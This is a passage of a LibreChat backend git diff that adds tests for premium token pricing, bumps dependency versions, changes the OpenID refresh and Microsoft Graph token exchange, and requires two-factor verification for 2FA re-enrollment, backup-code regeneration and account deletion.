expect(premiumEntry.prompt).toBeGreaterThan(tokenValues[premiumModel].prompt); + expect(premiumEntry.completion).toBeGreaterThan(tokenValues[premiumModel].completion); + }); + + it('should return null from getPremiumRate when inputTokenCount is below threshold', () => { + expect(getPremiumRate(premiumModel, 'prompt', belowThreshold)).toBeNull(); + expect(getPremiumRate(premiumModel, 'completion', belowThreshold)).toBeNull(); + expect(getPremiumRate(premiumModel, 'prompt', threshold)).toBeNull(); + }); + + it('should return premium rate from getPremiumRate when inputTokenCount exceeds threshold', () => { + expect(getPremiumRate(premiumModel, 'prompt', aboveThreshold)).toBe(premiumEntry.prompt); + expect(getPremiumRate(premiumModel, 'completion', aboveThreshold)).toBe( + premiumEntry.completion, + ); + expect(getPremiumRate(premiumModel, 'prompt', wellAboveThreshold)).toBe(premiumEntry.prompt); + }); + + it('should return null from getPremiumRate when inputTokenCount is undefined or null', () => { + expect(getPremiumRate(premiumModel, 'prompt', undefined)).toBeNull(); + expect(getPremiumRate(premiumModel, 'prompt', null)).toBeNull(); + }); + + it('should return null from getPremiumRate for models without premium pricing', () => { + expect(getPremiumRate('claude-opus-4-5', 'prompt', wellAboveThreshold)).toBeNull(); + expect(getPremiumRate('claude-sonnet-4', 'prompt', wellAboveThreshold)).toBeNull(); + expect(getPremiumRate('gpt-4o', 'prompt', wellAboveThreshold)).toBeNull(); + }); + + it('should return standard rate from getMultiplier when inputTokenCount is below threshold', () => { + expect( + getMultiplier({ + model: premiumModel, + tokenType: 'prompt', + inputTokenCount: belowThreshold, + }), + ).toBe(tokenValues[premiumModel].prompt); + expect( + getMultiplier({ + model: premiumModel, + tokenType: 'completion', + inputTokenCount: belowThreshold, + }), + ).toBe(tokenValues[premiumModel].completion); + }); + + it('should return premium rate from getMultiplier when inputTokenCount exceeds threshold', () => { + expect( + getMultiplier({ + model: premiumModel, + tokenType: 'prompt', + inputTokenCount: aboveThreshold, + }), + ).toBe(premiumEntry.prompt); + expect( + getMultiplier({ + model: premiumModel, + tokenType: 'completion', + inputTokenCount: aboveThreshold, + }), + ).toBe(premiumEntry.completion); + }); + + it('should return standard rate from getMultiplier when inputTokenCount is exactly at threshold', () => { + expect( + getMultiplier({ model: premiumModel, tokenType: 'prompt', inputTokenCount: threshold }), + ).toBe(tokenValues[premiumModel].prompt); + }); + + it('should return premium rate from getMultiplier when inputTokenCount is one above threshold', () => { + expect( + getMultiplier({ model: premiumModel, tokenType: 'prompt', inputTokenCount: aboveThreshold }), + ).toBe(premiumEntry.prompt); + }); + + it('should not apply premium pricing to models without premium entries', () => { + expect( + getMultiplier({ + model: 'claude-opus-4-5', + tokenType: 'prompt', + inputTokenCount: wellAboveThreshold, + }), + ).toBe(tokenValues['claude-opus-4-5'].prompt); + expect( + getMultiplier({ + model: 'claude-sonnet-4', + tokenType: 'prompt', + inputTokenCount: wellAboveThreshold, + }), + ).toBe(tokenValues['claude-sonnet-4'].prompt); + }); + + it('should use standard rate when inputTokenCount is not provided', () => { + expect(getMultiplier({ model: premiumModel, tokenType: 'prompt' })).toBe( + tokenValues[premiumModel].prompt, + ); + expect(getMultiplier({ model: premiumModel, tokenType: 'completion' })).toBe( + tokenValues[premiumModel].completion, + ); + }); + + it('should apply premium pricing through getMultiplier with valueKey path', () => { + const valueKey = getValueKey(premiumModel); + expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: aboveThreshold })).toBe( + premiumEntry.prompt, + ); + expect( + getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: aboveThreshold }), + ).toBe(premiumEntry.completion); + }); + + it('should apply standard pricing through getMultiplier with valueKey path when below threshold', () => { + const valueKey = getValueKey(premiumModel); + expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: belowThreshold })).toBe( + tokenValues[premiumModel].prompt, + ); + expect( + getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: belowThreshold }), + ).toBe(tokenValues[premiumModel].completion); + }); }); describe('tokens.ts and tx.js sync validation', () => { diff --git a/api/package.json b/api/package.json index 4cce0b9768..0305446818 100644 --- a/api/package.json +++ b/api/package.json @@ -1,6 +1,6 @@ { "name": "@librechat/backend", - "version": "v0.8.2", + "version": "v0.8.3", "description": "", "scripts": { "start": "echo 'please run this from the root directory'", @@ -34,25 +34,25 @@ }, "homepage": "https://librechat.ai", "dependencies": { - "@anthropic-ai/sdk": "^0.71.0", - "@anthropic-ai/vertex-sdk": "^0.14.0", - "@aws-sdk/client-bedrock-runtime": "^3.941.0", - "@aws-sdk/client-s3": "^3.758.0", + "@anthropic-ai/vertex-sdk": "^0.14.3", + "@aws-sdk/client-bedrock-runtime": "^3.980.0", + "@aws-sdk/client-s3": "^3.980.0", "@aws-sdk/s3-request-presigner": "^3.758.0", "@azure/identity": "^4.7.0", "@azure/search-documents": "^12.0.0", - "@azure/storage-blob": "^12.27.0", + "@azure/storage-blob": "^12.30.0", "@google/genai": "^1.19.0", "@keyv/redis": "^4.3.3", "@langchain/core": "^0.3.80", - "@librechat/agents": "^3.0.776", + "@librechat/agents": "^3.1.55", "@librechat/api": "*", "@librechat/data-schemas": "*", "@microsoft/microsoft-graph-client": "^3.0.7", - "@modelcontextprotocol/sdk": "^1.25.3", + "@modelcontextprotocol/sdk": "^1.27.1", "@node-saml/passport-saml": "^5.1.0", "@smithy/node-http-handler": "^4.4.5", - "axios": "^1.12.1", + "ai-tokenizer": "^1.0.6", + "axios": "^1.13.5", "bcryptjs": "^2.4.3", "compression": "^1.8.1", "connect-redis": "^8.1.0", @@ -64,10 +64,10 @@ "eventsource": "^3.0.2", "express": "^5.2.1", "express-mongo-sanitize": "^2.2.0", - "express-rate-limit": "^8.2.1", + "express-rate-limit": "^8.3.0", "express-session": "^1.18.2", "express-static-gzip": "^2.2.0", - "file-type": "^18.7.0", + "file-type": "^21.3.2", "firebase": "^11.0.2", "form-data": "^4.0.4", "handlebars": "^4.7.7", @@ -81,13 +81,14 @@ "klona": "^2.0.6", "librechat-data-provider": "*", "lodash": "^4.17.23", + "mammoth": "^1.11.0", "mathjs": "^15.1.0", "meilisearch": "^0.38.0", "memorystore": "^1.6.7", "mime": "^3.0.0", "module-alias": "^2.2.3", "mongoose": "^8.12.1", - "multer": "^2.0.2", + "multer": "^2.1.1", "nanoid": "^3.3.7", "node-fetch": "^2.7.0", "nodemailer": "^7.0.11", @@ -103,14 +104,15 @@ "passport-jwt": "^4.0.1", "passport-ldapauth": "^3.0.1", "passport-local": "^1.0.0", + "pdfjs-dist": "^5.4.624", "rate-limit-redis": "^4.2.0", "sharp": "^0.33.5", - "tiktoken": "^1.0.15", "traverse": "^0.6.7", "ua-parser-js": "^1.0.36", - "undici": "^7.18.2", + "undici": "^7.24.1", "winston": "^3.11.0", "winston-daily-rotate-file": "^5.0.0", + "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", "zod": "^3.22.4" }, "devDependencies": { diff --git a/api/server/cleanup.js b/api/server/cleanup.js index c482a2267e..364c02cd8a 100644 --- a/api/server/cleanup.js +++ b/api/server/cleanup.js @@ -35,7 +35,6 @@ const graphPropsToClean = [ 'tools', 'signal', 'config', - 'agentContexts', 'messages', 'contentData', 'stepKeyIds', @@ -277,7 +276,16 @@ function disposeClient(client) { if (client.run) { if (client.run.Graph) { - client.run.Graph.resetValues(); + if (typeof client.run.Graph.clearHeavyState === 'function') { + client.run.Graph.clearHeavyState(); + } else { + client.run.Graph.resetValues(); + } + + if (client.run.Graph.agentContexts) { + client.run.Graph.agentContexts.clear(); + client.run.Graph.agentContexts = null; + } graphPropsToClean.forEach((prop) => { if (client.run.Graph[prop] !== undefined) { diff --git a/api/server/controllers/AuthController.js b/api/server/controllers/AuthController.js index 22e53dcfc9..13d024cd03 100644 --- a/api/server/controllers/AuthController.js +++ b/api/server/controllers/AuthController.js @@ -18,8 +18,7 @@ const { findUser, } = require('~/models'); const { getGraphApiToken } = require('~/server/services/GraphTokenService'); -const { getOAuthReconnectionManager } = require('~/config'); -const { getOpenIdConfig } = require('~/strategies'); +const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies'); const registrationController = async (req, res) => { try { @@ -79,11 +78,16 @@ const refreshController = async (req, res) => { try { const openIdConfig = getOpenIdConfig(); - const tokenset = await openIdClient.refreshTokenGrant(openIdConfig, refreshToken); + const refreshParams = process.env.OPENID_SCOPE ? { scope: process.env.OPENID_SCOPE } : {}; + const tokenset = await openIdClient.refreshTokenGrant( + openIdConfig, + refreshToken, + refreshParams, + ); const claims = tokenset.claims(); const { user, error, migration } = await findOpenIDUser({ findUser, - email: claims.email, + email: getOpenIdEmail(claims), openidId: claims.sub, idOnTheSource: claims.oid, strategyName: 'refreshController', @@ -161,17 +165,6 @@ const refreshController = async (req, res) => { if (session && session.expiration > new Date()) { const token = await setAuthTokens(userId, res, session); - // trigger OAuth MCP server reconnection asynchronously (best effort) - try { - void getOAuthReconnectionManager() - .reconnectServers(userId) - .catch((err) => { - logger.error('[refreshController] Error reconnecting OAuth MCP servers:', err); - }); - } catch (err) { - logger.warn(`[refreshController] Cannot attempt OAuth MCP servers reconnection:`, err); - } - res.status(200).send({ token, user }); } else if (req?.query?.retry) { // Retrying from a refresh token request that failed (401) @@ -203,15 +196,6 @@ const graphTokenController = async (req, res) => { }); } - // Extract access token from Authorization header - const authHeader = req.headers.authorization; - if (!authHeader || !authHeader.startsWith('Bearer ')) { - return res.status(401).json({ - message: 'Valid authorization token required', - }); - } - - // Get scopes from query parameters const scopes = req.query.scopes; if (!scopes) { return res.status(400).json({ @@ -219,7 +203,13 @@ const graphTokenController = async (req, res) => { }); } - const accessToken = authHeader.substring(7); // Remove 'Bearer ' prefix + const accessToken = req.user.federatedTokens?.access_token; + if (!accessToken) { + return res.status(401).json({ + message: 'No federated access token available for token exchange', + }); + } + const tokenResponse = await getGraphApiToken(req.user, accessToken, scopes); res.json(tokenResponse); diff --git a/api/server/controllers/AuthController.spec.js b/api/server/controllers/AuthController.spec.js new file mode 100644 index 0000000000..fef670baa8 --- /dev/null +++ b/api/server/controllers/AuthController.spec.js @@ -0,0 +1,302 @@ +jest.mock('@librechat/data-schemas', () => ({ + logger: { error: jest.fn(), debug: jest.fn(), warn: jest.fn(), info: jest.fn() }, +})); +jest.mock('~/server/services/GraphTokenService', () => ({ + getGraphApiToken: jest.fn(), +})); +jest.mock('~/server/services/AuthService', () => ({ + requestPasswordReset: jest.fn(), + setOpenIDAuthTokens: jest.fn(), + resetPassword: jest.fn(), + setAuthTokens: jest.fn(), + registerUser: jest.fn(), +})); +jest.mock('~/strategies', () => ({ getOpenIdConfig: jest.fn(), getOpenIdEmail: jest.fn() })); +jest.mock('openid-client', () => ({ refreshTokenGrant: jest.fn() })); +jest.mock('~/models', () => ({ + deleteAllUserSessions: jest.fn(), + getUserById: jest.fn(), + findSession: jest.fn(), + updateUser: jest.fn(), + findUser: jest.fn(), +})); +jest.mock('@librechat/api', () => ({ + isEnabled: jest.fn(), + findOpenIDUser: jest.fn(), +})); + +const openIdClient = require('openid-client'); +const { isEnabled, findOpenIDUser } = require('@librechat/api'); +const { graphTokenController, refreshController } = require('./AuthController'); +const { getGraphApiToken } = require('~/server/services/GraphTokenService'); +const { setOpenIDAuthTokens } = require('~/server/services/AuthService'); +const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies'); +const { updateUser } = require('~/models'); + +describe('graphTokenController', () => { + let req, res; + + beforeEach(() => { + jest.clearAllMocks(); + isEnabled.mockReturnValue(true); + + req = { + user: { + openidId: 'oid-123', + provider: 'openid', + federatedTokens: { + access_token: 'federated-access-token', + id_token: 'federated-id-token', + }, + }, + headers: { authorization: 'Bearer app-jwt-which-is-id-token' }, + query: { scopes: 'https://graph.microsoft.com/.default' }, + }; + + res = { + status: jest.fn().mockReturnThis(), + json: jest.fn(), + }; + + getGraphApiToken.mockResolvedValue({ + access_token: 'graph-access-token', + token_type: 'Bearer', + expires_in: 3600, + }); + }); + + it('should pass federatedTokens.access_token as OBO assertion, not the auth header bearer token', async () => { + await graphTokenController(req, res); + + expect(getGraphApiToken).toHaveBeenCalledWith( + req.user, + 'federated-access-token', + 'https://graph.microsoft.com/.default', + ); + expect(getGraphApiToken).not.toHaveBeenCalledWith( + expect.anything(), + 'app-jwt-which-is-id-token', + expect.anything(), + ); + }); + + it('should return the graph token response on success', async () => { + await graphTokenController(req, res); + + expect(res.json).toHaveBeenCalledWith({ + access_token: 'graph-access-token', + token_type: 'Bearer', + expires_in: 3600, + }); + }); + + it('should return 403 when user is not authenticated via Entra ID', async () => { + req.user.provider = 'google'; + req.user.openidId = undefined; + + await graphTokenController(req, res); + + expect(res.status).toHaveBeenCalledWith(403); + expect(getGraphApiToken).not.toHaveBeenCalled(); + }); + + it('should return 403 when OPENID_REUSE_TOKENS is not enabled', async () => { + isEnabled.mockReturnValue(false); + + await graphTokenController(req, res); + + expect(res.status).toHaveBeenCalledWith(403); + expect(getGraphApiToken).not.toHaveBeenCalled(); + }); + + it('should return 400 when scopes query param is missing', async () => { + req.query.scopes = undefined; + + await graphTokenController(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(getGraphApiToken).not.toHaveBeenCalled(); + }); + + it('should return 401 when federatedTokens.access_token is missing', async () => { + req.user.federatedTokens = {}; + + await graphTokenController(req, res); + + expect(res.status).toHaveBeenCalledWith(401); + expect(getGraphApiToken).not.toHaveBeenCalled(); + }); + + it('should return 401 when federatedTokens is absent entirely', async () => { + req.user.federatedTokens = undefined; + + await graphTokenController(req, res); + + expect(res.status).toHaveBeenCalledWith(401); + expect(getGraphApiToken).not.toHaveBeenCalled(); + }); + + it('should return 500 when getGraphApiToken throws', async () => { + getGraphApiToken.mockRejectedValue(new Error('OBO exchange failed')); + + await graphTokenController(req, res); + + expect(res.status).toHaveBeenCalledWith(500); + expect(res.json).toHaveBeenCalledWith({ + message: 'Failed to obtain Microsoft Graph token', + }); + }); +}); + +describe('refreshController – OpenID path', () => { + const mockTokenset = { + claims: jest.fn(), + access_token: 'new-access', + id_token: 'new-id', + refresh_token: 'new-refresh', + }; + + const baseClaims = { + sub: 'oidc-sub-123', + oid: 'oid-456', + email: 'user@example.com', + exp: 9999999999, + }; + + let req, res; + + beforeEach(() => { + jest.clearAllMocks(); + + isEnabled.mockReturnValue(true); + getOpenIdConfig.mockReturnValue({ some: 'config' }); + openIdClient.refreshTokenGrant.mockResolvedValue(mockTokenset); + mockTokenset.claims.mockReturnValue(baseClaims); + getOpenIdEmail.mockReturnValue(baseClaims.email); + setOpenIDAuthTokens.mockReturnValue('new-app-token'); + updateUser.mockResolvedValue({}); + + req = { + headers: { cookie: 'token_provider=openid; refreshToken=stored-refresh' }, + session: {}, + }; + + res = { + status: jest.fn().mockReturnThis(), + send: jest.fn().mockReturnThis(), + redirect: jest.fn(), + }; + }); + + it('should call getOpenIdEmail with token claims and use result for findOpenIDUser', async () => { + const user = { + _id: 'user-db-id', + email: baseClaims.email, + openidId: baseClaims.sub, + }; + findOpenIDUser.mockResolvedValue({ user, error: null, migration: false }); + + await refreshController(req, res); + + expect(getOpenIdEmail).toHaveBeenCalledWith(baseClaims); + expect(findOpenIDUser).toHaveBeenCalledWith( + expect.objectContaining({ email: baseClaims.email }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it('should use OPENID_EMAIL_CLAIM-resolved value when claim is present in token', async () => { + const claimsWithUpn = { ...baseClaims, upn: 'user@corp.example.com' }; + mockTokenset.claims.mockReturnValue(claimsWithUpn); + getOpenIdEmail.mockReturnValue('user@corp.example.com'); + + const user = { + _id: 'user-db-id', + email: 'user@corp.example.com', + openidId: baseClaims.sub, + }; + findOpenIDUser.mockResolvedValue({ user, error: null, migration: false }); + + await refreshController(req, res); + + expect(getOpenIdEmail).toHaveBeenCalledWith(claimsWithUpn); + expect(findOpenIDUser).toHaveBeenCalledWith( + expect.objectContaining({ email: 'user@corp.example.com' }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it('should fall back to claims.email when configured claim is absent from token claims', async () => { + getOpenIdEmail.mockReturnValue(baseClaims.email); + + const user = { + _id: 'user-db-id', + email: baseClaims.email, + openidId: baseClaims.sub, + }; + findOpenIDUser.mockResolvedValue({ user, error: null, migration: false }); + + await refreshController(req, res); + + expect(findOpenIDUser).toHaveBeenCalledWith( + expect.objectContaining({ email: baseClaims.email }), + ); + }); + + it('should update openidId when migration is triggered on refresh', async () => { + const user = { _id: 'user-db-id', email: baseClaims.email, openidId: null }; + findOpenIDUser.mockResolvedValue({ user, error: null, migration: true }); + + await refreshController(req, res); + + expect(updateUser).toHaveBeenCalledWith( + 'user-db-id', + expect.objectContaining({ provider: 'openid', openidId: baseClaims.sub }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it('should return 401 and redirect to /login when findOpenIDUser returns no user', async () => { + findOpenIDUser.mockResolvedValue({ user: null, error: null, migration: false }); + + await refreshController(req, res); + + expect(res.status).toHaveBeenCalledWith(401); + expect(res.redirect).toHaveBeenCalledWith('/login'); + }); + + it('should return 401 and redirect when findOpenIDUser returns an error', async () => { + findOpenIDUser.mockResolvedValue({ user: null, error: 'AUTH_FAILED', migration: false }); + + await refreshController(req, res); + + expect(res.status).toHaveBeenCalledWith(401); + expect(res.redirect).toHaveBeenCalledWith('/login'); + }); + + it('should skip OpenID path when token_provider is not openid', async () => { + req.headers.cookie = 'token_provider=local; refreshToken=some-token'; + + await refreshController(req, res); + + expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled(); + }); + + it('should skip OpenID path when OPENID_REUSE_TOKENS is disabled', async () => { + isEnabled.mockReturnValue(false); + + await refreshController(req, res); + + expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled(); + }); + + it('should return 200 with token not provided when refresh token is absent', async () => { + req.headers.cookie = 'token_provider=openid'; + req.session = {}; + + await refreshController(req, res); + + expect(res.status).toHaveBeenCalledWith(200); + expect(res.send).toHaveBeenCalledWith('Refresh token not provided'); + }); +}); diff --git a/api/server/controllers/PermissionsController.js b/api/server/controllers/PermissionsController.js index e22e9532c9..51993d083c 100644 --- a/api/server/controllers/PermissionsController.js +++ b/api/server/controllers/PermissionsController.js @@ -5,6 +5,7 @@ const mongoose = require('mongoose'); const { logger } = require('@librechat/data-schemas'); const { ResourceType, PrincipalType, PermissionBits } = require('librechat-data-provider'); +const { enrichRemoteAgentPrincipals, backfillRemoteAgentPermissions } = require('@librechat/api'); const { bulkUpdateResourcePermissions, ensureGroupPrincipalExists, @@ -14,7 +15,6 @@ const { findAccessibleResources, getResourcePermissionsMap, } = require('~/server/services/PermissionService'); -const { AclEntry } = require('~/db/models'); const { searchPrincipals: searchLocalPrincipals, sortPrincipalsByRelevance, @@ -24,6 +24,7 @@ const { entraIdPrincipalFeatureEnabled, searchEntraIdPrincipals, } = require('~/server/services/GraphApiService'); +const { AclEntry, AccessRole } = require('~/db/models'); /** * Generic controller for resource permission endpoints @@ -234,7 +235,7 @@ const getResourcePermissions = async (req, res) => { }, ]); - const principals = []; + let principals = []; let publicPermission = null; // Process aggregation results @@ -280,6 +281,13 @@ const getResourcePermissions = async (req, res) => { } } + if (resourceType === ResourceType.REMOTE_AGENT) { + const enricherDeps = { AclEntry, AccessRole, logger }; + const enrichResult = await enrichRemoteAgentPrincipals(enricherDeps, resourceId, principals); + principals = enrichResult.principals; + backfillRemoteAgentPermissions(enricherDeps, resourceId, enrichResult.entriesToBackfill); + } + // Return response in format expected by frontend const response = { resourceType, diff --git a/api/server/controllers/PluginController.js b/api/server/controllers/PluginController.js index c5e074b8ff..279ffb15fd 100644 --- a/api/server/controllers/PluginController.js +++ b/api/server/controllers/PluginController.js @@ -8,7 +8,7 @@ const { getLogStores } = require('~/cache'); const getAvailablePluginsController = async (req, res) => { try { - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); const cachedPlugins = await cache.get(CacheKeys.PLUGINS); if (cachedPlugins) { res.status(200).json(cachedPlugins); @@ -63,7 +63,7 @@ const getAvailableTools = async (req, res) => { logger.warn('[getAvailableTools] User ID not found in request'); return res.status(401).json({ message: 'Unauthorized' }); } - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); const cachedToolsArray = await cache.get(CacheKeys.TOOLS); const appConfig = req.config ?? (await getAppConfig({ role: req.user?.role })); diff --git a/api/server/controllers/PluginController.spec.js b/api/server/controllers/PluginController.spec.js index d7d3f83a8b..06a51a3bd6 100644 --- a/api/server/controllers/PluginController.spec.js +++ b/api/server/controllers/PluginController.spec.js @@ -1,3 +1,4 @@ +const { CacheKeys } = require('librechat-data-provider'); const { getCachedTools, getAppConfig } = require('~/server/services/Config'); const { getLogStores } = require('~/cache'); @@ -63,6 +64,28 @@ describe('PluginController', () => { }); }); + describe('cache namespace', () => { + it('getAvailablePluginsController should use TOOL_CACHE namespace', async () => { + mockCache.get.mockResolvedValue([]); + await getAvailablePluginsController(mockReq, mockRes); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + }); + + it('getAvailableTools should use TOOL_CACHE namespace', async () => { + mockCache.get.mockResolvedValue([]); + await getAvailableTools(mockReq, mockRes); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + }); + + it('should NOT use CONFIG_STORE namespace for tool/plugin operations', async () => { + mockCache.get.mockResolvedValue([]); + await getAvailablePluginsController(mockReq, mockRes); + await getAvailableTools(mockReq, mockRes); + const allCalls = getLogStores.mock.calls.flat(); + expect(allCalls).not.toContain(CacheKeys.CONFIG_STORE); + }); + }); + describe('getAvailablePluginsController', () => { it('should use filterUniquePlugins to remove duplicate plugins', async () => { // Add plugins with duplicates to availableTools diff --git a/api/server/controllers/TwoFactorController.js b/api/server/controllers/TwoFactorController.js index fde5965261..18a0ee3f5a 100644 --- a/api/server/controllers/TwoFactorController.js +++ b/api/server/controllers/TwoFactorController.js @@ -1,5 +1,6 @@ const { encryptV3, logger } = require('@librechat/data-schemas'); const { + verifyOTPOrBackupCode, generateBackupCodes, generateTOTPSecret, verifyBackupCode, @@ -13,24 +14,42 @@ const safeAppTitle = (process.env.APP_TITLE || 'LibreChat').replace(/\s+/g, ''); /** * Enable 2FA for the user by generating a new TOTP secret and backup codes. * The secret is encrypted and stored, and 2FA is marked as disabled until confirmed. + * If 2FA is already enabled, requires OTP or backup code verification to re-enroll. */ const enable2FA = async (req, res) => { try { const userId = req.user.id; + const existingUser = await getUserById( + userId, + '+totpSecret +backupCodes _id twoFactorEnabled email', + ); + + if (existingUser && existingUser.twoFactorEnabled) { + const { token, backupCode } = req.body; + const result = await verifyOTPOrBackupCode({ + user: existingUser, + token, + backupCode, + persistBackupUse: false, + }); + + if (!result.verified) { + const msg = result.message ?? 'TOTP token or backup code is required to re-enroll 2FA'; + return res.status(result.status ?? 400).json({ message: msg }); + } + } + const secret = generateTOTPSecret(); const { plainCodes, codeObjects } = await generateBackupCodes(); - - // Encrypt the secret with v3 encryption before saving. const encryptedSecret = encryptV3(secret); - // Update the user record: store the secret & backup codes and set twoFactorEnabled to false. const user = await updateUser(userId, { - totpSecret: encryptedSecret, - backupCodes: codeObjects, - twoFactorEnabled: false, + pendingTotpSecret: encryptedSecret, + pendingBackupCodes: codeObjects, }); - const otpauthUrl = `otpauth://totp/${safeAppTitle}:${user.email}?secret=${secret}&issuer=${safeAppTitle}`; + const email = user.email || (existingUser && existingUser.email) || ''; + const otpauthUrl = `otpauth://totp/${safeAppTitle}:${email}?secret=${secret}&issuer=${safeAppTitle}`; return res.status(200).json({ otpauthUrl, backupCodes: plainCodes }); } catch (err) { @@ -46,13 +65,14 @@ const verify2FA = async (req, res) => { try { const userId = req.user.id; const { token, backupCode } = req.body; - const user = await getUserById(userId, '_id totpSecret backupCodes'); + const user = await getUserById(userId, '+totpSecret +pendingTotpSecret +backupCodes _id'); + const secretSource = user?.pendingTotpSecret ?? user?.totpSecret; - if (!user || !user.totpSecret) { + if (!user || !secretSource) { return res.status(400).json({ message: '2FA not initiated' }); } - const secret = await getTOTPSecret(user.totpSecret); + const secret = await getTOTPSecret(secretSource); let isVerified = false; if (token) { @@ -78,15 +98,28 @@ const confirm2FA = async (req, res) => { try { const userId = req.user.id; const { token } = req.body; - const user = await getUserById(userId, '_id totpSecret'); + const user = await getUserById( + userId, + '+totpSecret +pendingTotpSecret +pendingBackupCodes _id', + ); + const secretSource = user?.pendingTotpSecret ?? user?.totpSecret; - if (!user || !user.totpSecret) { + if (!user || !secretSource) { return res.status(400).json({ message: '2FA not initiated' }); } - const secret = await getTOTPSecret(user.totpSecret); + const secret = await getTOTPSecret(secretSource); if (await verifyTOTP(secret, token)) { - await updateUser(userId, { twoFactorEnabled: true }); + const update = { + totpSecret: user.pendingTotpSecret ?? user.totpSecret, + twoFactorEnabled: true, + pendingTotpSecret: null, + pendingBackupCodes: [], + }; + if (user.pendingBackupCodes?.length) { + update.backupCodes = user.pendingBackupCodes; + } + await updateUser(userId, update); return res.status(200).json(); } return res.status(400).json({ message: 'Invalid token.' }); @@ -104,31 +137,27 @@ const disable2FA = async (req, res) => { try { const userId = req.user.id; const { token, backupCode } = req.body; - const user = await getUserById(userId, '_id totpSecret backupCodes'); + const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled'); if (!user || !user.totpSecret) { return res.status(400).json({ message: '2FA is not setup for this user' }); } if (user.twoFactorEnabled) { - const secret = await getTOTPSecret(user.totpSecret); - let isVerified = false; + const result = await verifyOTPOrBackupCode({ user, token, backupCode }); - if (token) { - isVerified = await verifyTOTP(secret, token); - } else if (backupCode) { - isVerified = await verifyBackupCode({ user, backupCode }); - } else { - return res - .status(400) - .json({ message: 'Either token or backup code is required to disable 2FA' }); - } - - if (!isVerified) { - return res.status(401).json({ message: 'Invalid token or backup code' }); + if (!result.verified) { + const msg = result.message ?? 'Either token or backup code is required to disable 2FA'; + return res.status(result.status ?? 400).json({ message: msg }); } } - await updateUser(userId, { totpSecret: null, backupCodes: [], twoFactorEnabled: false }); + await updateUser(userId, { + totpSecret: null, + backupCodes: [], + twoFactorEnabled: false, + pendingTotpSecret: null, + pendingBackupCodes: [], + }); return res.status(200).json(); } catch (err) { logger.error('[disable2FA]', err); @@ -138,10 +167,28 @@ const disable2FA = async (req, res) => { /** * Regenerate backup codes for the user. + * Requires OTP or backup code verification if 2FA is already enabled. */ const regenerateBackupCodes = async (req, res) => { try { const userId = req.user.id; + const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled'); + + if (!user) { + return res.status(404).json({ message: 'User not found' }); + } + + if (user.twoFactorEnabled) { + const { token, backupCode } = req.body; + const result = await verifyOTPOrBackupCode({ user, token, backupCode }); + + if (!result.verified) { + const msg = + result.message ?? 'TOTP token or backup code is required to regenerate backup codes'; + return res.status(result.status ?? 400).json({ message: msg }); + } + } + const { plainCodes, codeObjects } = await generateBackupCodes(); await updateUser(userId, { backupCodes: codeObjects }); return res.status(200).json({ diff --git a/api/server/controllers/UserController.js b/api/server/controllers/UserController.js index b0cfd7ede2..b3160bb3d3 100644 --- a/api/server/controllers/UserController.js +++ b/api/server/controllers/UserController.js @@ -14,6 +14,7 @@ const { deleteMessages, deletePresets, deleteUserKey, + getUserById, deleteConvos, deleteFiles, updateUser, @@ -22,6 +23,7 @@ const { } = require('~/models'); const { ConversationTag, + AgentApiKey, Transaction, MemoryEntry, Assistant, @@ -33,8 +35,10 @@ const { User, } = require('~/db/models'); const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService'); +const { verifyOTPOrBackupCode } = require('~/server/services/twoFactorService'); const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService'); const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config'); +const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools'); const { needsRefresh, getNewS3URL } = require('~/server/services/Files/S3/crud'); const { processDeleteRequest } = require('~/server/services/Files/process'); const { getAppConfig } = require('~/server/services/Config'); @@ -214,6 +218,7 @@ const updateUserPluginsController = async (req, res) => { `[updateUserPluginsController] Attempting disconnect of MCP server "${serverName}" for user ${user.id} after plugin auth update.`, ); await mcpManager.disconnectUserConnection(user.id, serverName); + await invalidateCachedTools({ userId: user.id, serverName }); } } catch (disconnectError) { logger.error( @@ -238,6 +243,22 @@ const deleteUserController = async (req, res) => { const { user } = req; try { + const existingUser = await getUserById( + user.id, + '+totpSecret +backupCodes _id twoFactorEnabled', + ); + if (existingUser && existingUser.twoFactorEnabled) { + const { token, backupCode } = req.body; + const result = await verifyOTPOrBackupCode({ user: existingUser, token, backupCode }); + + if (!result.verified) { + const msg = + result.message ?? + 'TOTP token or backup code is required to delete account with 2FA enabled'; + return res.status(result.status ?? 400).json({ message: msg }); + } + } + await deleteMessages({ user: user.id }); // delete user messages await deleteAllUserSessions({ userId: user.id }); // delete user sessions await Transaction.deleteMany({ user: user.id }); // delete user transactions @@ -256,6 +277,7 @@ const deleteUserController = async (req, res) => { await deleteFiles(null, user.id); // delete database files in case of orphaned files from previous steps await deleteToolCalls(user.id); // delete user tool calls await deleteUserAgents(user.id); // delete user agents + await AgentApiKey.deleteMany({ user: user._id }); // delete user agent API keys await Assistant.deleteMany({ user: user.id }); // delete user assistants await ConversationTag.deleteMany({ user: user.id }); // delete user conversation tags await MemoryEntry.deleteMany({ userId: user.id }); // delete user memory entries diff --git a/api/server/controllers/__tests__/TwoFactorController.spec.js b/api/server/controllers/__tests__/TwoFactorController.spec.js new file mode 100644 index 0000000000..62531d94a1 --- /dev/null +++ b/api/server/controllers/__tests__/TwoFactorController.spec.js @@ -0,0 +1,264 @@ +const mockGetUserById = jest.fn(); +const 